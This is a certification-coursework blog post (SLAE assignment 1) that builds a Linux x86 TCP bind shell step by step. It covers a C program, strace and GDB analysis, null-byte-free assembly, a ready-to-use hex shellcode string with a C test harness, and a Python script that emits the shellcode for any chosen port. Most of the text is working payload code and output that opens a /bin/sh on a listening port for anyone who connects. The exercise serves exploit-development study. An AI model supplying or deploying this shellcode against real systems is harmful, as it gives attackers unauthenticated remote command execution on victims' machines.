The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #1
Goals
- Explain the process of how to create TCP Bind Shell shellcode
- The shellcode should:
- Binds to a local port
- Execs shell on incoming connection
- The Port number should be easily configurable
Phases
To accomplish this I’m going to split this into four phases:
- Understand the system calls made by creating and analyzing a C program written by reading the linux programmers documentation that would behave the same way.
- Debug the C program to figure out how parameters are being passed around in memory or through registers to make it work.
- Writing assembly that can be used as shellcode that does the same thing (meaning it must at least not have any null bytes while still being functional).
- Write a wrapper python script that lets you specify a port and it will emmit the full shellcode ready for use.
Phase 1: Writing a TCP bind shell in C
To analize what is happening at a system call level we will need to refer to the Linux developer man pages to understand how we should go about setting up a socket and binding it to a port on the local system (bind shell). The easiest way to go about this is to attempt to write a bare minimum C program that accomplishes this task by referring to the man2 pages for each step.
The beginning of any socket programming is establishing a socket so I started by looking up the man page of this system call. Based on reading through the man pages I was able to piece together what calls would need to be made in order to establish a listening connection on a specific port.
The prototypes of the functions that we will want to call are in the following order below (with the man page link referenced):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* http://man7.org/linux/man-pages/man2/socket.2.html */
int socket(int domain, int type, int protocol);
/* http://man7.org/linux/man-pages/man2/bind.2.html */
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
/* http://man7.org/linux/man-pages/man2/listen.2.html */
int listen(int sockfd, int backlog);
/* http://man7.org/linux/man-pages/man2/accept.2.html */
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
/* http://man7.org/linux/man-pages/man2/dup.2.html */
int dup2(int oldfd, int newfd);
/* http://man7.org/linux/man-pages/man2/execve.2.html */
int execve(const char *filename, char *const argv[], char *const envp[]);
/* http://man7.org/linux/man-pages/man2/close.2.html */
int close(int fd);
I wrote the following C program that creates this bind shell and compiled and ran it to confirm it functions properly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define NULL 0
int socket(int domain, int type, int protocol);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int dup2(int oldfd, int newfd);
int close(int fd);
int execve(const char *filename, char *const argv[], char *const envp[]);
int main() {
int port = 6789;
/* this creates a new socket but it has no address assigned to it yet */
int sockfd = socket(AF_INET /* 2 */, SOCK_STREAM /* 1 */, 0);
/* create sockaddr structure for use with bind function */
struct sockaddr_in hostaddr;
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(port);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
/* bind socket to ip/port */
bind(sockfd, (struct sockaddr*)&hostaddr, sizeof(struct sockaddr_in));
/* listen for connections */
listen(sockfd, 1);
/* accept connection */
int clientfd = accept(sockfd, NULL, NULL);
/* duplicate file descriptors for STDIN/STDOUT/STDERR */
for (int n = 0; n <= 2; ++n) {
dup2(clientfd, n);
}
/* execute /bin/sh */
execve("/bin/sh", NULL, NULL);
close(sockfd);
return 0;
}
Building and running bind shell C program
Showing port 9999 now listening
Phase 2: Understanding how parameters are passed around using strace and GDB
The idea of debugging this was to set a breakpoint at each system call and analyze the registers and stack to see what is needed at the point of the call. With this information we can then come up with our own way to get the same values setup properly in a shellcode safe manner.
We can get a quick view of the calls with strace as seen here (this is useful and is helpful when looking at the assembly dump in GDB). In most cases, you can see the value of each parameter that was used to the function calls which would be either on the stack or in one of the registers. In the case of a parameter value that is enclosed in curly braces {} this is likely a pointer to a struct that resides on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[sengen@manjaro-x86 assignment1]$ strace -e socket,bind,listen,accept,dup2,execve ./bind_shell_c
execve("./bind_shell_c", ["./bind_shell_c"], 0xbfc4b6a8 /* 54 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(6789), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, NULL, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", NULL, NULL) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=25697, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=25698, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
+++ exited with 0 +++
The following is the dump of the main function. I put breakpoints before each function call I was interested in and printed the relevant register or stack information for use when I write my shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
gdb$ break main
Breakpoint 1 at 0x6fc
gdb$ run
Breakpoint 1, 0x004006fc in main ()
gdb$ disassemble main
Dump of assembler code for function main:
0x004006ed <+0>: lea ecx,[esp+0x4]
0x004006f1 <+4>: and esp,0xfffffff0
0x004006f4 <+7>: push DWORD PTR [ecx-0x4]
0x004006f7 <+10>: push ebp
0x004006f8 <+11>: mov ebp,esp
0x004006fa <+13>: push ebx
0x004006fb <+14>: push ecx
=> 0x004006fc <+15>: sub esp,0x30
0x004006ff <+18>: call 0x4005f0 <__x86.get_pc_thunk.bx>
0x00400704 <+23>: add ebx,0x18fc
0x0040070a <+29>: mov eax,gs:0x14
0x00400710 <+35>: mov DWORD PTR [ebp-0xc],eax
0x00400713 <+38>: xor eax,eax
0x00400715 <+40>: mov DWORD PTR [ebp-0x28],0x1a85
0x0040071c <+47>: sub esp,0x4
; socket --------------------------------------------------------------------------
0x0040071f <+50>: push 0x0
0x00400721 <+52>: push 0x1
0x00400723 <+54>: push 0x2
0x00400725 <+56>: call 0x400580 <socket@plt>
; gdb$ x/3w $esp
; 0xbffff020: 0x00000002 0x00000001 0x00000000
;
; parameters:
; 0x00000002 = AF_INET
; 0x00000001 = SOCK_STREAM
; 0x00000000 = IPPROTO_IP
; ---------------------------------------------------------------------------------
; bind ----------------------------------------------------------------------------
0x0040072a <+61>: add esp,0x10
0x0040072d <+64>: mov DWORD PTR [ebp-0x24],eax
0x00400730 <+67>: mov WORD PTR [ebp-0x1c],0x2
0x00400736 <+73>: mov eax,DWORD PTR [ebp-0x28]
0x00400739 <+76>: movzx eax,ax
0x0040073c <+79>: sub esp,0xc
0x0040073f <+82>: push eax
0x00400740 <+83>: call 0x400510 <htons@plt>
0x00400745 <+88>: add esp,0x10
0x00400748 <+91>: mov WORD PTR [ebp-0x1a],ax
0x0040074c <+95>: sub esp,0xc
0x0040074f <+98>: push 0x0
0x00400751 <+100>: call 0x400560 <htonl@plt>
0x00400756 <+105>: add esp,0x10
0x00400759 <+108>: mov DWORD PTR [ebp-0x18],eax
0x0040075c <+111>: sub esp,0x4
0x0040075f <+114>: push 0x10
0x00400761 <+116>: lea eax,[ebp-0x1c]
0x00400764 <+119>: push eax
0x00400765 <+120>: push DWORD PTR [ebp-0x24]
0x00400768 <+123>: call 0x400550 <bind@plt>
; gdb$ x/3w $esp
; 0xbffff020: 0x00000003 0xbffff04c 0x00000010
; parameters:
; 0x00000003 = sockfd
; 0xbffff04c = pointer to sockaddr_in struct on stack
; 0x00000010 = length of sockaddr_in
; sockaddr_in struct on stack
; gdb$ x/8b 0xbffff04c
; 0xbffff04c: 0x02 0x00 0x1a 0x85 0x00 0x00 0x00 0x00
; parameters:
; 0x02 = AF_INET
; 0x1a85 = Port number (6789) *reverse byte order*
; 0x00000000 = 0x0
; ---------------------------------------------------------------------------------
; listen --------------------------------------------------------------------------
0x0040076d <+128>: add esp,0x10
0x00400770 <+131>: sub esp,0x8
0x00400773 <+134>: push 0x1
0x00400775 <+136>: push DWORD PTR [ebp-0x24]
0x00400778 <+139>: call 0x400570 <listen@plt>
; gdb$ x/2w $esp
; 0xbffff020: 0x00000003 0x00000001
;
; parameters:
; 0x00000003 = sockfd
; 0x00000001 = backlog
; ---------------------------------------------------------------------------------
; accept --------------------------------------------------------------------------
0x0040077d <+144>: add esp,0x10
0x00400780 <+147>: sub esp,0x4
0x00400783 <+150>: push 0x0
0x00400785 <+152>: push 0x0
0x00400787 <+154>: push DWORD PTR [ebp-0x24]
0x0040078a <+157>: call 0x400520 <accept@plt>
; gdb$ x/3w $esp
; 0xbffff020: 0x00000003 0x00000000 0x00000000
;
; parameters:
; 0x00000003 = sockfd
; 0x00000000 = sockaddr (NULL) ; dont need client struct
; 0x00000000 = addrlen (NULL) ; dont need client struct
; ---------------------------------------------------------------------------------
; dup2 ----------------------------------------------------------------------------
0x0040078f <+162>: add esp,0x10
0x00400792 <+165>: mov DWORD PTR [ebp-0x20],eax
0x00400795 <+168>: mov DWORD PTR [ebp-0x2c],0x0
0x0040079c <+175>: jmp 0x4007b3 <main+198>
0x0040079e <+177>: sub esp,0x8
0x004007a1 <+180>: push DWORD PTR [ebp-0x2c]
0x004007a4 <+183>: push DWORD PTR [ebp-0x20]
0x004007a7 <+186>: call 0x400500 <dup2@plt>
; gdb$ x/2w $esp
; 0xbffff020: 0x00000004 0x00000000
; gdb$ x/2w $esp
; 0xbffff020: 0x00000004 0x00000001
; gdb$ x/2w $esp
; 0xbffff020: 0x00000004 0x00000002
; parameters:
; 0x00000004 = oldfd
; 0x0000000[0-2] = newfd
; ---------------------------------------------------------------------------------
; excecve -------------------------------------------------------------------------
0x004007ac <+191>: add esp,0x10
0x004007af <+194>: add DWORD PTR [ebp-0x2c],0x1
0x004007b3 <+198>: cmp DWORD PTR [ebp-0x2c],0x2
0x004007b7 <+202>: jle 0x40079e <main+177>
0x004007b9 <+204>: sub esp,0x4
0x004007bc <+207>: push 0x0
0x004007be <+209>: push 0x0
0x004007c0 <+211>: lea eax,[ebx-0x175c]
0x004007c6 <+217>: push eax
0x004007c7 <+218>: call 0x400540 <execve@plt>
; gdb$ x/a $esp
; 0xbffff020: 0x4008a4 => "/bin/sh"
; gdb$ x/2c $esp+4
; 0xbffff024: 0x0 0x0
;
; parameters:
; 0x4008a4 = pointer to filename on stack
; 0x0 = argv[]
; 0x0 = anvp[]
; ---------------------------------------------------------------------------------
0x004007cc <+223>: add esp,0x10
0x004007cf <+226>: sub esp,0xc
0x004007d2 <+229>: push DWORD PTR [ebp-0x24]
0x004007d5 <+232>: call 0x400590 <close@plt>
; Closes sockfd which tears down the socket
; ---------------------------------------------------------------------------------
0x004007da <+237>: add esp,0x10
0x004007dd <+240>: mov eax,0x0
0x004007e2 <+245>: mov edx,DWORD PTR [ebp-0xc]
0x004007e5 <+248>: xor edx,DWORD PTR gs:0x14
0x004007ec <+255>: je 0x4007f3 <main+262>
0x004007ee <+257>: call 0x400870 <__stack_chk_fail_local>
0x004007f3 <+262>: lea esp,[ebp-0x8]
0x004007f6 <+265>: pop ecx
0x004007f7 <+266>: pop ebx
0x004007f8 <+267>: pop ebp
0x004007f9 <+268>: lea esp,[ecx-0x4]
0x004007fc <+271>: ret
End of assembler dump.
NOTE: For the socket calls there are two approaches; using socketcall with sub-functions, or separate system calls for each (socket, accept, bind, etc). The former is less portable but may allow for cleaner shellcode due to the reuse of the socketcall value.
In this assembly dump it is calling out to the memory address of the function and putting it’s parameters to the function on the stack. In our shellcode we’ll use socketcall with parameters in the registers. Either would work, however.
Phase 3: Writing shellcode that creates a TCP bind shell
Now that we have an understanding of what is happening at an assembly level behind the scenes we will convert it into usable shellcode. Things to keep in mind here is that we cannot have any null bytes, size matters, and that the port number should be configurable.
socket
We start by establishing a socket using socketcall. This will return to us a sockfd identifier that we will need to save for use in future calls.
1
2
3
4
5
6
7
8
9
xor eax, eax ; zero out eax
mov ebx, eax ; zero out ebx
push eax ; push 0 to stack (protocol: 0 (nonblocking))
mov al, 0x66 ; socketcall
mov bl, 1 ; sys_socket
push ebx ; push 1 to stack (type: SOCK_STREAM)
push 2 ; domain: AF_INET
mov ecx, esp ; save pointer to stack
int 0x80
bind
This is where we bind the socket previously created to the local interface prior to start listening for connections.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov edi,eax ; save sockfd
mov al,0x66 ; socketcall
pop ebx ; sys_bind - grab 2 from stack
pop ebx ; take 1 off stack
inc ebx
push word 0x851a ; port 6789 (reverse byte order) ; sockaddr struct
push word 2 ; AF_INET ; sockaddr struct
mov ecx,esp ; save pointer to struct in ecx ; sockaddr struct
push 0x10 ; struct length
push ecx ; push pointer to struct
push edi ; push sockfd
mov ecx,esp ; save stack pointer
int 0x80
listen
At this point we start listening for connections on our specified port. The backlog parameter defines the allowed queue length of pending connections to our sockfd. For this example I just set it to 1 but it could be more if multiple connections are wanted.
1
2
3
4
5
6
mov al, 0x66 ; socketcall
mov bl, 4 ; sys_listen
push 1 ; parameter: backlog
push edi ; parameter: sockfd
mov ecx,esp ; save pointer to stack to ecx
int 0x80
accept
When a client connects to this port we call the accept system call which will give us a new sockfd for the client. In this case we only care about the identifier but you can also collect more information and save it into a sockaddr struct but this would be useless for us so I set this to NULL.
1
2
3
4
5
6
7
mov al,0x66 ; socketcall
inc bl ; sys_accept
push edx ; clientfd (NULL - dont need this)
push edx ; sizeof(clientfd) (NULL - dont need this)
push edi ; sockfd
mov ecx,esp ; save pointer to stack to ecx
int 0x80
dup2
The dup2 function will duplicate the STDOUT/STDIN/STDERR file descriptors onto the sockfd. This will allow all output to be seen on the sockfd from the connect so the receiver of the reverse shell can see all output.
1
2
3
4
5
6
7
8
9
xor ecx,ecx ; zero out ecx
mov ebx,eax ; save clientfd
mov al, 0x3f ; dup2
dup2_loop:
int 0x80
mov al,0x3f ; dup2
inc ecx ; increment ecx until we hit 2
cmp ecx, 2 ; test if we're at 2
jle dup2_loop ; if not, keep calling dup2
execve
Finally, we actually exec /bin/sh to complete the reverse shell. At this point the target of the reverse shell should be able to enter commands and see responses.
1
2
3
4
5
6
7
8
9
mov al,0xb ; execve
xor edx,edx ; zero out edx
push edx ; push edx to stack to terminate string
push 0x68732f6e ; n/sh
push 0x69622f2f ; //bi
mov ebx, esp ; save pointer to stack to ecx
mov ecx, edx ; argv[]
;mov edx, edx ; envp[]
int 0x80
Dealing with null bytes
Most of these are simple to remove as they are due to referencing the full 32bit register where we can simply reference the 8 bit register.
For moving values into registers:
mov eax,0x66
should be converted to mov al,0x66
mov ebx,0x1
should be converted to mov bl,0x1
For the pushing of 0x0 we need to use a different approach. We can either find a null byte already on the stack or we can use a zero’ed out register and push that to the stack (often requiring us to explicitly zero it out first).
Example:
push 0x0
can change into:
xor edx,edx ; zero out edx
push edx ; push edx to stack to terminate string
You can use objdump to quicly identify null bytes in the assembly. I have marked where I initially had to deal with null bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
; initial shellcode
[sengen@manjaro-x86 assignment1]$ objdump -d ./bind_shell_asm2 -M intel
./bind_shell_asm2: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 89 c3 mov ebx,eax
8048064: 50 push eax
8048065: b8 66 00 00 00 mov eax,0x66 ; <==
804806a: bb 01 00 00 00 mov ebx,0x1 ; <==
804806f: 53 push ebx
8048070: 6a 02 push 0x2
8048072: 89 e1 mov ecx,esp
8048074: cd 80 int 0x80
8048076: 89 c7 mov edi,eax
8048078: b8 66 00 00 00 mov eax,0x66 ; <==
804807d: bb 02 00 00 00 mov ebx,0x2 ; <==
8048082: 6a 00 push 0x0 ; <==
8048084: 66 68 1a 85 pushw 0x851a
8048088: 66 6a 02 pushw 0x2
804808b: 89 e1 mov ecx,esp
804808d: 6a 10 push 0x10
804808f: 51 push ecx
8048090: 57 push edi
8048091: 89 e1 mov ecx,esp
8048093: cd 80 int 0x80
8048095: b8 66 00 00 00 mov eax,0x66 ; <==
804809a: bb 04 00 00 00 mov ebx,0x4 ; <==
804809f: 6a 01 push 0x1
80480a1: 57 push edi
80480a2: 89 e1 mov ecx,esp
80480a4: cd 80 int 0x80
80480a6: b8 66 00 00 00 mov eax,0x66 ; <==
80480ab: bb 05 00 00 00 mov ebx,0x5 ; <==
80480b0: 6a 00 push 0x0 ; <==
80480b2: 6a 00 push 0x0 ; <==
80480b4: 57 push edi
80480b5: 89 e1 mov ecx,esp
80480b7: cd 80 int 0x80
80480b9: 31 c9 xor ecx,ecx
80480bb: 89 c3 mov ebx,eax
80480bd: b8 3f 00 00 00 mov eax,0x3f ; <==
080480c2 <dup2_loop>:
80480c2: cd 80 int 0x80
80480c4: b8 3f 00 00 00 mov eax,0x3f ; <==
80480c9: 41 inc ecx
80480ca: 83 f9 02 cmp ecx,0x2
80480cd: 7e f3 jle 80480c2 <dup2_loop> ; <==
80480cf: b8 0b 00 00 00 mov eax,0xb ; <==
80480d4: 6a 00 push 0x0 ; <==
80480d6: 68 6e 2f 73 68 push 0x68732f6e
80480db: 68 2f 2f 62 69 push 0x69622f2f
80480e0: 89 e3 mov ebx,esp
80480e2: b9 00 00 00 00 mov ecx,0x0 ; <==
80480e7: ba 00 00 00 00 mov edx,0x0 ; <==
80480ec: cd 80 int 0x80
Notes on reversing “//bin/sh” string
1
2
3
4
5
6
7
8
9
[sengen@manjaro-x86 assignment1]$ python
Python 3.6.2 (default, Jul 20 2017, 15:08:48)
[GCC 7.1.1 20170630] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> code=b'//bin/sh'
>>> binascii.hexlify(code[::-1])
b'68732f6e69622f2f'
>>>
Then you can push it to the stack in 4 byte segments
1
2
push 0x68732f6e
push 0x69622f2f
Source Code
You can grab the source code for both the C and assembly programs from the following location:
https://github.com/tdmathison/SLAE32/tree/master/assignment1
We can extract the bytes with objdump
1
2
[sengen@manjaro-x86 assignment1]$ objdump -d ./bind_shell_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x5b\x43\x66\x68\x1a\x85\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x57\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x57\x89\xe1\xcd\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80"
Add it to a test C program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x5b\x43\x66\x68\x1a\x85\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x57\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x57\x89\xe1\xcd\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Phase 4: Write a wrapper python script
Finally, to make it a little bit more configurable I wrote a python script that would allow you to specify a port for the shellcode. The emmitted shellcode from the script will be properly updated for the port specified.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# !/usr/bin/python
from optparse import OptionParser
def convert_to_hex(port):
val = hex(port)[2::]
if not len(val) % 2 == 0:
val = "0" + val
return ''.join('\\x' + val[i:i + 2] for i in range(0, len(val), 2))
parser = OptionParser()
parser.description = "Generates TCP Bind Shell shellcode."
parser.add_option("-p", "--port", dest="port", help="Port to bind to", type=int)
(options, args) = parser.parse_args()
if not options.port:
parser.print_help()
exit(1)
if options.port < 1 or options.port > 65535:
print("Invalid port number.")
exit(1)
shellcode = (
"\\x31\\xc0\\x89\\xc3\\x50\\xb0\\x66\\xb3\\x01\\x53\\x6a\\x02\\x89\\xe1\\xcd"
"\\x80\\x89\\xc7\\xb0\\x66\\x5b\\x5b\\x43\\x66\\x68" + convert_to_hex(options.port) +
"\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66"
"\\xb3\\x04\\x6a\\x01\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xfe\\xc3\\x52\\x52"
"\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x89\\xc3\\xb0\\x3f\\xcd\\x80\\xb0\\x3f"
"\\x41\\x83\\xf9\\x02\\x7e\\xf6\\xb0\\x0b\\x31\\xd2\\x52\\x68\\x6e\\x2f\\x73"
"\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\\xb0\\x06\\x89"
"\\xfb\\xcd\\x80")
print(shellcode)
Example usage
1
2
3
4
5
6
7
8
9
10
[sengen@manjaro-x86 assignment1]$ python create_bind_shell.py -h
Usage: create_bind_shell.py [options]
Generates TCP Bind Shell shellcode.
Options:
-h, --help show this help message and exit
-p PORT, --port=PORT Port to bind to
[sengen@manjaro-x86 assignment1]$ python create_bind_shell.py -p 4480
\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x5b\x43\x66\x68\x11\x80\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x57\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x57\x89\xe1\xcd\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80